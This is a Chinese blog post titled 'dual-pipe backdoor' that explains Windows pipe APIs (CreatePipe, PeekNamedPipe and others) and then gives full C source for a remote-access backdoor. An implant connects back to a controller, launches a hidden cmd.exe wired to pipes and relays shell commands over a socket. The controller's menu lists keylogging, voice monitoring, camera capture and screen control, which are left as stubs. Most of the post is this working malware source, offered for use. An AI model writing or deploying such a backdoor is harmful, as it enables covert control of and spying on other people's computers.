双管道后门

CreatePipe() 介绍:

功能:创建一个匿名管道,并从中得到读写管道的句柄。

函数原型:BOOL WINAPI CreatePipe(
                  PHANDLE   hReadPipe,  // 返回一个可用于读管道数据的文件句柄。
                  PHANDLE   hWritePipe,  // 返回一个可用于写管道数据的文件句柄。
                  LPSECURITY_ATTRIBUTES lpPipeAttributes,  // 该结构用于决定该函数返回的句柄是否可被子进程继承。
                  DWORD  nSize // 管道的缓冲区大小。如果传入0 ,那么系统将使用一个默认的缓冲区大小。
                  );
返回值:非零表示成功,零表示失败。

 

SECURITY_ATTRIBUTES 结构体:

typedef struct _SECURITY_ATTRIBUTES {
  DWORD  nLength;  // 结构体的大小。
  LPVOID lpSecurityDescriptor; // 安全描述符。如果为 NULL,则使用默认的。
  BOOL   bInheritHandle; // 安全描述的对象能否被新创建的进程继承。
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;

 

CreateNamedPipe() 介绍:

功能:创建命名管道的实例, 并返回后续管道操作的句柄。

函数原型:HANDLE CreateNamedPipe(
                  LPCSTR  lpName,   // 指定管道名,采用的形式是:“\\.\pipe\pipename”。
                  DWORD  dwOpenMode, // 打开模式。
                  DWORD  dwPipeMode,  // 管道模式。
                  DWORD  nMaxInstances,  // 管道能够创建的最大实例数量。范围(1~255)。为 255 则仅限制于系统资源。
                  DWORD  nOutBufferSize,  // 要为输出缓冲区预留的字节数,零表示用默认值。
                  DWORD  nInBufferSize, //  要为输入缓冲区预留的字节数,零表示用默认值。
                  DWORD  nDefaultTimeOut,  // 管道的默认等待超时。零表示用默认值。
                  LPSECURITY_ATTRIBUTES lpSecurityAttributes // 安全属性结构体,同上。
                 );

返回值:如果函数成功, 则返回值是命名管道实例的服务器端的句柄。
              如果函数失败, 则返回值为 INVALID_HANDLE_VALUE。

 

WaitNamePipe() 介绍:

功能:等待直到超时间隔结束或指定的命名管道的实例可用于连接。

函数原型:BOOL WaitNamedPipeA(
                  LPCSTR lpNamedPipeName, // 要打开的管道名,格式“\\servername\pipe\pipename”,

                                                                  // 如果是本地管道则servername可以使用点“.”。
                  DWORD  nTimeOut   //  等待命名管道的一个实例有效的超时时间,单位毫秒。

                                                     // 也可以是 NMPWAIT_USE_DEFAULT_WAIT,即CreateNamePipe() 设置的时间。

                                                     // NMPWAIT_WAIT_FOREVER,即等到该实例有效才返回。
                  );

返回值:非零表示成功,零表示失败。

 

PeekNamedPipe() 介绍:

功能:将命名或匿名管道中的数据复制到缓冲区中, 而不将其从管道中移除。它还返回有关管道中数据的信息。

函数原型:BOOL WINAPI PeekNamedPipe(
                  HANDLE  hNamedPipe,  // 管道的句柄。除了命名或匿名管道句柄,还可以使 CreateFile() 返回的文件句柄。
                  LPVOID  lpBuffer,  // 指向接收从管道读取的数据的缓冲区的指针。如果没有要读取的数据, 则此参数可以为 NULL。
                  DWORD   nBufferSize, // 由 lpBuffer 参数指定的缓冲区的大小 (以字节为单位)。
                  LPDWORD  lpBytesRead, // 指向一个接收从管道读取的字节数的变量的指针。
                  LPDWORD  lpTotalBytesAvail, // 该指针变量接收从管道中读取的总字节数
                  LPDWORD  lpBytesLeftThisMessage // 指向一个接收此消息中剩余字节数的指针变量。
                  );
返回值:非零表示成功,零表示失败。

 

ZeroMemory() 介绍:

功能:用 0 来填充一块内存区域,将指定的内存块清零。(使用结构前清零,而不让结构的成员数值具有不确定性。)

函数原型:void ZeroMemory(
                  PVOID  Destination,  // 指向一块准备用0来填充的内存区域的开始地址。
                  SIZE_T Length  // 准备用0来填充的内存区域的大小,按字节计算。
                  );
返回值:无。
 
注意:
管道本身是一种数据结构,遵循先进先出原则。数据一旦读出后,就会在管道中自动删除。
管道通信以管道数据结构作为内部数据存储方式,以文件系统作为数据存储媒体。
1、将数据写入管道
     将数据写入管道使用的是 WriteFile(), 与写于普通文件方法一样。
     与文件不同的是:
     管道长度受到限制,管道满时写入操作会被阻塞。执行写操作的进程进入睡眠状态,直到管道中的数据被读取。
     管道满时,WriteFile() 的返回值为0。如果写入数据长度小于管道长度,则要求一次写入完成。
     如果写入数据长度大于管道长度,在写完管道长度的数据时,WriteFile() 同样会被阻塞。
2、从管道读取数据
      从管道中读取数据使用的是 ReadFile(), 读取的顺序与写入的顺序相同。
      当数据被读取后, 这些数据将自动被管道清除。
      如果读取的管道为空,并且管道写入端口是打开的, ReadFile()将被阻塞。
      读取操作的进程进入睡眠状态,直到有数据写入管道为止。
3、关闭管道
      关闭管道使用的是 CloseHandle()。
 
DEMOCODE:(Client->Server)
// Client
#include<stdio.h>
#include<string.h>
#include<winsock.h> // winsock.h 必须要在 windows.h 之前,否则有些地方会出现未知异常。
#include<windows.h>
#pragma comment(lib,"ws2_32")
#define BACKLOG 8
SOCKET Connecting(unsigned short Port);
int Choices();
void CmdLine(SOCKET Socket);
int main(void)
{
    SOCKET Sock;
    Sock = Connecting(1314);
    
    while (true)
    {
        switch(Choices())
        {
            case 1:
                send(Sock,"CMD",20,0);
                CmdLine(Sock);
                break;
            case 2:
                send(Sock,"PHOTO",20,0);
                break;
            case 3:
                send(Sock,"UPLOAD",20,0);
                break;
            case 4:
                send(Sock,"DOWNLOAD",20,0);
                break;
            case 5:
                send(Sock,"KEYMONITOR",20,0);
                break;
            case 6:
                send(Sock,"VOICEMONITOR",20,0);
                break;
            case 7:
                send(Sock,"REMOTETALK",20,0);
                break;
            case 8:
                send(Sock,"REMOTEMONITOR",20,0);
                break;
            case 9:
                send(Sock,"SCREENCONTROL",20,0);
                break;
            case 0:
                send(Sock,"EXIT",20,0);
                exit(0);
            default:
               break;
        }
    }
    return 0;
}

int Choices()
{
    int Choice;
    printf("1、CMD 终端\t\t2、拍照\n\n");
    printf("3、文件上传\t\t4、文件下载\n\n");
    printf("5、键盘记录\t\t6、语音监听\n\n");
    printf("7、远程会话\t\t8、视频查看\n\n");
    printf("9、屏幕控制\t\t0、退出\n\n");
    printf("Input your Choice\n");
    scanf("%d",&Choice);
    return Choice;
}

void CmdLine(SOCKET Socket)
{
    int num=0;
    CHAR Command[MAX_PATH]={0},Message[2048]={0};
    while(true)
    {
       printf("Input Command: \n");
       gets(Command);
       send(Socket, Command, MAX_PATH, 0);
       if(strcmp(Command,"exit") == 0)
           break;
       num = recv(Socket,Message,2048,0);
       Message[num] = '\0';
       printf("%s\n",Message);
       ZeroMemory(Command,MAX_PATH);
       ZeroMemory(Message,2048);
    }
}

SOCKET Connecting(unsigned short Port)
{
    SOCKET Sockfd, New_fd;
    WSADATA ws;
    struct sockaddr_in my_addr, their_addr;
    int sin_size = sizeof(struct sockaddr_in);
    if (WSAStartup(MAKEWORD(2, 2), &ws) != 0)
        return SOCKET_ERROR;
    if ((Sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
        return SOCKET_ERROR;
    my_addr.sin_family = AF_INET;
    my_addr.sin_port = htons(Port);
    my_addr.sin_addr.S_un.S_addr = INADDR_ANY;

    if (bind(Sockfd, (struct sockaddr*)&my_addr, sizeof(struct sockaddr)) == -1)
    {
        closesocket(Sockfd);
        return SOCKET_ERROR;
    }

    if (listen(Sockfd, BACKLOG) == SOCKET_ERROR)
    {
        closesocket(Sockfd);
        return SOCKET_ERROR;
    }

    printf("Connecting ...\nWatiing ...\n");

    if ((New_fd = accept(Sockfd, (struct sockaddr *)&their_addr, &sin_size)) == INVALID_SOCKET)
    {
        closesocket(Sockfd);
        return SOCKET_ERROR;
    }
    printf("Connect Succeed!\n");
    return New_fd;
}

....................................................................................................................................................................

// Server
#include<stdio.h>
#include<winsock.h> // winsock.h 必须要在 windows.h 之前。
#include<Windows.h>
#pragma comment(lib,"ws2_32")
#define Length 2048
SOCKET WaitConnecting(const char *ip,unsigned short Port);
BOOL CmdLine(SOCKET Sockfd);
int ChoiceRecv(const char *Choice);
int main(void)
{
map:
    CHAR Choice[20];
    SOCKET Sock;
    Sock = WaitConnecting("127.0.0.1",1314);

    while(true)
    {
        if(recv(Sock,Choice,20,0) == 0)
            break;
        switch(ChoiceRecv(Choice))
        {
        case 0:
            goto map;
            break;
        case 1:
            CmdLine(Sock);
            break;
        case 2:
            break;
        case 3:
            break;
        case 4:
            break;
        case 5:
            break;
        case 6:
            break;
        case 7:
            break;
        case 8:
            break;
        case 9:
            break;
        default:
            break;
        }
    }
    return 0;
}

SOCKET WaitConnecting(const char *ip,unsigned short Port)
{
    SOCKET Sockfd;
    struct sockaddr_in their_addr;
    WSADATA ws;
    if (WSAStartup(MAKEWORD(2, 2), &ws) != 0)
        return SOCKET_ERROR;
    if ((Sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
        return SOCKET_ERROR;

    their_addr.sin_family = AF_INET;
    their_addr.sin_port = htons(Port);
    their_addr.sin_addr.S_un.S_addr = inet_addr(ip);

    printf("Connecting...\nWating...\n");
    while (connect(Sockfd, (struct sockaddr*)&their_addr, sizeof(sockaddr_in)));
    printf("Connect Succeed!\n");
    return Sockfd;
}

BOOL CmdLine(SOCKET Sockfd)
{
    int n=0;
    DWORD Read,Write;
    CHAR CmdLine[MAX_PATH];
    CHAR Buffer[MAX_PATH], Message[Length];
    HANDLE hReadPipe0, hWritePipe0,hReadPipe1,hWritePipe1;
    SECURITY_ATTRIBUTES Pipeattr;
    STARTUPINFO SI;
    PROCESS_INFORMATION PI;
    Pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
    Pipeattr.lpSecurityDescriptor = 0;
    Pipeattr.bInheritHandle = TRUE;
    if(!CreatePipe(&hReadPipe0, &hWritePipe0, &Pipeattr, 0) ||
        !CreatePipe(&hReadPipe1,&hWritePipe1,&Pipeattr,0))
        return false;

    ZeroMemory(&SI, sizeof(SI));
    ZeroMemory(&PI, sizeof(PI));
    SI.cb = sizeof(STARTUPINFO);
    SI.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    SI.wShowWindow = SW_HIDE;
    SI.hStdInput = hReadPipe1;
    SI.hStdOutput = SI.hStdError = hWritePipe0;

    GetSystemDirectory(CmdLine,sizeof(CmdLine));
    strcat(CmdLine,"\\cmd.exe");
    if(!CreateProcess(CmdLine,NULL,NULL,NULL,TRUE,0,NULL,NULL,&SI,&PI))
        return false;
    Sleep(100);  // 等待延时,若不等待会出问题,有待完善。

    while (true)
    {
         if(Sockfd == SOCKET_ERROR)
             return false;
         PeekNamedPipe(hReadPipe0, &Message, Length, &Read, 0, 0);
         if (Read)
         {
            memset(Message,0,Length);
            ReadFile(hReadPipe0, &Message, Read, &Read, 0);
            if(n>0)
            {
                send(Sockfd, Message, Read,0);
            }
            n++;
         }
         if(recv(Sockfd, Buffer, MAX_PATH, 0) == 0)
             return false;
         if(strcmp(Buffer,"exit") == 0)
             return false;
         strcat(Buffer,"\r\n");
         WriteFile(hWritePipe1,Buffer,strlen(Buffer),&Write,NULL);
         if(!Write)
             return false;
         Sleep(100);  // 等待延时,若不等待会出问题,有待完善。

    }
}

int ChoiceRecv(const char *Choice)
{
    int i;
    const char FeatureList[10][20] = {"EXIT","CMD","PHOTO","UPLOAD","DOWNLOAD","KEYMONITOR",
        "VOICEMONITOR","REMOTETALK","REMOTEMONITOR","SCREENCONTROL"};
    for(i=0;i<10;i++)
        if(!strcmp(FeatureList[i],Choice))
            return i;
    return -1;
}

这是双匿名管道,还有很多不完善的地方,以后会慢慢完善的,请见谅。

posted @ 2018-08-14 22:34  M-Anonymous  阅读(1041)  评论(0编辑  收藏  举报